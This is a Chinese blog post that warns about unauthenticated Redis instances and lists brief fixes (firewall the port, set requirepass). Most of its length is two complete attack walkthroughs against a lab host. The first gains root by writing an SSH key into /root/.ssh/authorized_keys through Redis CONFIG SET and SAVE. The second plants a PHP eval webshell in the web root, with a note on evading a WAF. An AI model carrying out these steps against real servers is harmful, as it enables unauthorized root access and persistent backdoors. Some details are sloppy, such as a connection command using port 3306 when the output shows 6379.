首页 > 数据库 >谨防利用Redis未授权访问漏洞入侵服务器

谨防利用Redis未授权访问漏洞入侵服务器

时间:2023-11-24 20:44:16浏览次数:35  
标签:谨防 redis 1.180 Redis 192.168 6379 服务器 root

说明:

Redis是一个开源的,由C语言编写的高性能NoSQL数据库,因其高性能、可扩展、兼容性强,被各大小互联网公司或个人作为内存型存储组件使用。
但是其中有小部分公司或个人开发者,为了方便调试或忽略了安全风险,没有设置密码并直接对外开放了6379端口,那么这就是一个危险的行为。

漏洞成因:

未对Redis进行充分的访问控制,可利用Redis可写入文件的漏洞实现攻击。

漏洞影响范围:

所有对公网开放的Redis端口,未设置密码或设置弱密码的Redis服务的主机都存在这个漏洞。

危害:

  1. 利用SSH可获取服务器root权限。
  2. 可在项目中写入一句话木马。
  3. 利用redis的任意文件写入,造成其它危险操作。

解决方案:

  1. 使用防火墙策略关闭Redis端口。
  2. 找到redis配置文件的requirepass项并配置复杂的密码,毕竟弱口令也是漏洞。

利用方式1(获取root权限):

0. 背景:

CentOS7.6,有一台IP为192.168.1.180且对外开放6379端口的服务器,Redis Server可远程被连接。攻击者首次接触这台服务器。

1. nmap扫描

nmap 192.168.1.180 -p 6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:10 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0014s latency).

PORT     STATE SERVICE
6379/tcp open  redis

Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds
#发现开放了Redis服务

2. 尝试远程连接

redis-cli -h 192.168.1.180 -p 3306
#远程连接成功,尝试使用
192.168.1.180:6379> set abc 123
OK

3. 本地生成SSH密钥对,将公钥写入自定义文件,发送给攻击目标。

ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /test/ssh.txt
cat /test/ssh.txt | redis-cli -h 192.168.1.180 -p 6379 -x set ssh_key

4. 利用Redis备份功能将数据写入到目标服务器的root目录下

#远程连接
redis-cli -h 192.168.1.180 -p 6379
#尝试清空redis
192.168.1.180:6379> flushall
#设置 Redis 数据库的持久化存储路径
192.168.1.180:6379> config set dir /root/.ssh
#设置 Redis 数据库的持久化存储文件名
192.168.1.180:6379> config set dbfilename authorized_keys
#保存
192.168.1.180:6379> save

5. 远程连接目标服务器,成功入侵并获取了root权限

ssh [email protected] -i /root/.ssh/id_rsa
The authenticity of host '192.168.1.180 (192.168.1.180)' can't be established.
ED25519 key fingerprint is SHA256:v7jh2lXha1qeJTqZtHxfFcvdBXxtyMm0z10M3NuvMKM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.180' (ED25519) to the list of known hosts.
Last login: Fri Nov 24 11:12:42 2023 from 192.168.2.183
#验证用户
[root@lnmp ~]# whoami
root

利用方式2(web站点写入一句话木马):

0. 背景:

CentOS7.6,有一台IP为192.168.1.180且对外开放6379端口的服务器,Redis Server可远程被连接。攻击者首次接触这台服务器,服务器有LNMP环境。

1. nmap扫描

└─# nmap 192.168.1.180 -p 80,443,6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:52 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0081s latency).

PORT     STATE    SERVICE
80/tcp   open     http
443/tcp  filtered https
6379/tcp open     redis
MAC Address: 00:0C:29:01:E8:DC (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#发现开放了Redis和http服务

2. 尝试远程连接Redis,这一步走不通下面流程就不用走了

redis-cli -h 192.168.1.180 -p 3306
#远程连接成功,尝试使用
192.168.1.180:6379> set abc 123
OK

3. 尝试获取Web服务技术栈,发现用的是PHP

curl -I 192.168.1.180
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 24 Nov 2023 08:53:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.6

3. 在Kali上安装dirsearch,找到带有phpinfo或者报错的页面,从而获取web站点的路径,dirsearch需要python3环境

#pip配置阿里云镜像
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
pip config set install.trusted-host mirrors.aliyun.com
#克隆dirsearch
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
#期间会提示安装一些包,正常安装就行。执行dirsearch,尝试路径爆破后进行手动过滤。
python3 dirsearch.py -u http://192.168.1.180 -e php
#例如在192.168.1.180/err.php下找到了一个携带php报错的地址,手动访问
Warning: Undefined variable $res in /Host/err.php on line 2
#至此,发现php的站点在/Host下。

4. 将PHP一句话木马发送给目标的redis服务器

redis-cli -h 192.168.1.180 -p 6379
192.168.1.180:6379> config set dir /Host
OK
192.168.1.180:6379> config set dbfilename "test.php"
OK
192.168.1.180:6379> set test "\n\n<?php eval($_GET['a']);?>\n\n"
OK
192.168.1.180:6379> save
OK

远程的文件是这样的,既包含了其它key的备份,也包含了一句话木马:

REDIS0009� redis-ver5.0.8� redis-bits�@�ctime™m`e�used-mem��Z �aof-preamble���ssh_keyB7 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCltv+2wFaA4vixtU7N0Iz4K9J/wO62iWli2emLNHYR8Q32hIsHzGvChgF3dcb1lLqndfCKDOk16FwHfkiChZAtjcruK36xWxrTNP54q5ZXBpuT6T+b8zkAljRLN0KqDPxfuM9IuObgMqNSxRPmdlMqxXp6B5BaMY8+iPJL175eM+0Jes2+U9yN/s5zEmjkYTXFHG96CMR+lHXcN3StXZKs4hZGRsxt2KxQ5TP+lsqVV7AIBAOO5milCOUOcOIZJ+bad5aMt+ESt4Sjnzy9Vln2i31UU2QqO4XiVLaLexm4JFqKpjLqis6C9YyTZYwFl/xam3FvroFrlFdsbaRP3W2c0aJLxtX2yHH/T0cFXQJbI5rA04Z+TS4gJqGeofQ8+dNHQc7lBLbcGuR5cN8g/0VKgh4b7bYsXRG9XFZXL7Kl6r2TBCg7FVIKkWoSALm5Qr0tEy1ytNSUMversoDq2q6/EPsfkUDfFJipoEpv4hCzJXy57dDQBOdGaIMvY6+Zk88= root@ZS abc�{test

5. 验证一句话木马文件,成功写入一句话木马

#由于PHP只解析从<?php到?>结束的代码,所以其余字符不受影响。
#为了防止被WAF拦截,传参过程也可自定义编码
http://192.168.1.180/test.php?a=phpinfo();

标签:谨防,redis,1.180,Redis,192.168,6379,服务器,root
From: https://www.cnblogs.com/phpphp/p/17854732.html

相关文章

  • 写写Redis十大类型zset的常用命令
    其实这些命令官方上都有,而且可读性很强,还有汉化组翻译的http://redis.cn/commands.html,不过光是练习还是容易忘,写一写博客记录一下从zset类型开始写||zset类型适合做排行榜,score排行后显示member应用场景:商品销售的排序zaddkeyscoremember[keymember]//这里和sadd不同的......
  • redisson是如何实现锁自动续期的
    Redisson是一个在Redis的基础上实现的Java驻留对象和服务,同时也是一个具有许多功能的Java驻留对象和服务库。Redisson提供了很多分布式相关的服务,其中就包括分布式锁。Redisson的锁自动续期功能主要通过以下方式实现:锁的续期:当一个线程获取了Redisson的锁之后,默认......
  • Linux服务器时间校准
    1.离线情况下安装ntprpm-qa|grepntp2.在线情况下安装ntpyum-yinstallntp3.校正服务器时间与网络时间同步ntpdatecn.pool.ntp.org4.设置时区Pleaseidentifyalocationsothattimezonerulescanbesetcorrectly.Pleaseselectacontinentorocean.1......
  • 服务器 功能更新
    1.更新代码gitee代码2.登录阿里云ecs云服务器后端:3.进入项目目录(home/pig)后端开发分支(dev1)4.更新最新代码(gitpull)5.进去更改代码目录(cd层级名称)6.执行编译命令(mvncleaninstall)7.返回到项目根目录home/pig8.执行docker命令docker-com......
  • 使用CloudStats监控Linux服务器
    CloudStats是一个服务器监控平台,可让您轻松地监控整个服务器基础平台,同时也可以立即采取行动并解决问题。CloudStats监控工具不需要任何特殊技能或知识来执行设置并开始监控您的服务器。因为是国外的服务器,打开有点慢!在服务器( /Debian/Ubuntu/Fedora等)上安装CloudStats......
  • DELL服务器iDRAC8 无法启动虚拟控制台,提示“另存为“,“viewerjnlp”
    DELL服务器iDRAC8无法启动虚拟控制台,提示“另存为“,“viewerjnlp”一台DELL服务器,进入IDRAC里,无法打开虚拟控制台,点启动后另存为viewerjnlp。可能因为没有安装控件,无法打开。解决方法如下:依次点击服务器--虚拟控制台--插件类型,将插件类型设置成HTML5 效果如下: ......
  • 生产实践:Redis与Mysql的数据强一致性方案
    公众号「架构成长指南」,专注于生产实践、云原生、分布式系统、大数据技术分享。数据库和Redis如何保持强一致性,这篇文章告诉你目的Redis和Msql来保持数据同步,并且强一致,以此来提高对应接口的响应速度,刚开始考虑是用mybatis的二级缓存,发现坑不少,于是决定自己搞要关注的问题点......
  • mysql5.0升级8.0完成后,服务器重启引发"#1449 - The user specified as a definer ('m
    遇到的问题:问题一:ERROR1449(HY000):Theuserspecifiedasadefiner('mysql.infoschema'@'localhost')doesnotexist异常原因:未知解决办法:验证指定的用户('mysql.infoschema'@'localhost')是否存在于mysql数据库中SELECTUserFROMmysql.userWH......
  • 免费云服务器的使用
    最近使用的一个免费云服务器,毕竟它是免费的,也不能说追求什么性能啥的,整体来说体验还是不错的,我主要是运用到api上,它这服务器上传文件蛮快的,比我在阿里云、腾讯云上传文件还快,这点很喜欢,其他也没啥就这样。在2000年就开始提供免费的云服务器了,现在还在提供,很厉害!!!有票票会考虑购买......
  • 808-ORI-D3R600服务器-多路PCIe3.0的双CPU通用工作站
       一、机箱功能和技术指标:系统系统型号ORI-SR630主板支持EEB(12'*13')/CEB(12'*10.5')/ATX(12'*9.6')/MicroATX前置硬盘最大支持8个3.5寸(兼容25寸)SATA硬盘+2*2.5(后置)电源类型CRPS元余电源,标准ATX电源散热系......